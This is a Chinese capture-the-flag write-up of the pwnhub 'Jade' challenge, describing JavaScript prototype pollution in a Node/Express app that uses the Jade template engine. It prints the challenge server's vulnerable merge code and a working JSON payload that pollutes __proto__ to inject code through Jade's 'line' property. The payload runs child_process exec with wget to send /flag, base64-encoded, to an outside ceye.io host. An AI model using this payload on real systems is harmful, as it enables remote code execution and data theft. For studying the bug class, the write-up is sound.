pwnhub 被污染的Jade
题目本身不难,但是比较麻烦的就是两点,一是没给代码,后面怎么merge全靠猜,二是题目的cache严重,中间很多测试都被别人干扰,第一天的下午及其 2019-12-30 12:12:03 Author: lorexxar.cn(查看原文) 阅读量:415 收藏

题目本身不难,但是比较麻烦的就是两点,一是没给代码,后面怎么merge全靠猜,二是题目的cache严重,中间很多测试都被别人干扰,第一天的下午及其严重,基本上开始很多测试都被别人带跑偏了…

下面我就来梳理一下我的正常思路…

首先打开题目是比较简单粗暴的模板渲染,再结合题目不难发现题目是node+jade

image.png-31.6kB

因为我打开题目已经是下午了,所以基本上打开题目就一直都是报错,大概长这样:

image.png-79.7kB

基本也没什么好猜了,直接能看出来就是js原型链污染

关于js原型链污染的细节这里就不赘述了,可以看下面两篇文章

顺着这样的思路就可以翻翻看jade的代码看看

在之前文章中提到,我们可以通过污染object来影响js中没有设置的变量属性,首先我们就需要找一个没有被设置过但是却很重要的变量,形似与:

1

2

3

if(x.xxxxx){

x.xxxxx

}

这样的代码在jade中非常多

首先顺着代码流程跟到lib/index.js 200行

image.png-109.8kB

可以看到这里的body直接拼接进了代码,但是这里body是本身有值的,所以顺着跟下去到149行。

image.png-44.7kB

这里是我的第一个思路,通过控制self,然后污染globals,globals会在addwith中直接被拼接进代码中。

这也是为什么我反复吐槽题目没有给代码…因为这条路在我本地环境里是可以走通的,但是在远程你会喜获一个报错,而且我调试了一晚上也不知道怎么修复这个报错…

没办法,因为这里走不下去,所以只能将self设置为true,往下走别的路。

当我们设置为true时,我们能控制的只有js变量,然后我们逐渐跟下去。

往下跟到lib/compile.js 60行

image.png-69.6kB

然后跟入visit函数

image.png-45.2kB

到这里不难发现可以覆盖line参数,运气比较好的是,到这里就能执行了,事实上往别的路走还有很多能执行的地方。

到这里jade这部分基本已经完成了,剩下的就是在远程中如何执行。

在成功执行命令之后我们可以拿到远程的代码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

const express = require('express');

const path = require('path');

const app = express();

var router = express.Router();

app.set('views', path.join(__dirname, 'views'));

app.engine('jade', require('jade').__express);

app.set("view engine", "jade");

app.use(express.json()).use(express.urlencoded({

extended: false

}));

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

const merge = (a, b) => {

for (var attr in b) {

if (isObject(a[attr]) && isObject(b[attr])) {

merge(a[attr], b[attr]);

} else {

a[attr] = b[attr];

}

}

return a

}

const clone = (a) => {

return merge({}, a);

}

router.get('/', (req, res, next) => {

res.render('index', {

title: 'HTML',

name: ''

});

});

router.post('/', (req, res, next) => {

var body = JSON.parse(JSON.stringify(req.body));

var copybody = clone(body)

res.render('index', {

title: 'HTML',

name: copybody.name || ''

});

});

app.use('/', router)

app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

不难发现出题人强行写了一个merge,把req.body和{}合并导致了原型链污染,所以传递的对象不能是name,这也是坑了我开始的一大个问题。

然后就是覆盖globals会导致谜一样的错误

image.png-82.2kB

最后也没能找到原因,使用第二条路就比较简单了,直接可以执行

1

{"__proto__":{"self":true,"line":"0, \"\" ));global.process.mainModule.constructor._load('child_process').exec(`wget msocp8.ceye.io?$(cat /flag|base64)`, function(){} );jade_debug.unshift(new jade.DebugItem( 0","filename":"test","title":"test","name":"test"}}

image.png-368.3kB

其实回顾题目还挺有意思的,只是可惜,jade的官方的范例中没有这种merge的操作,但题目又不给出代码,导致本来调试完成的题目成了远程瞎猜了,不过运气比较好的是,这题的利用不太复杂,如果特别复杂的话可能再配合远程cache这题就没法做了…


文章来源: https://lorexxar.cn/2019/12/30/pwnhub-jade/
如有侵权请联系:admin#unsafe.sh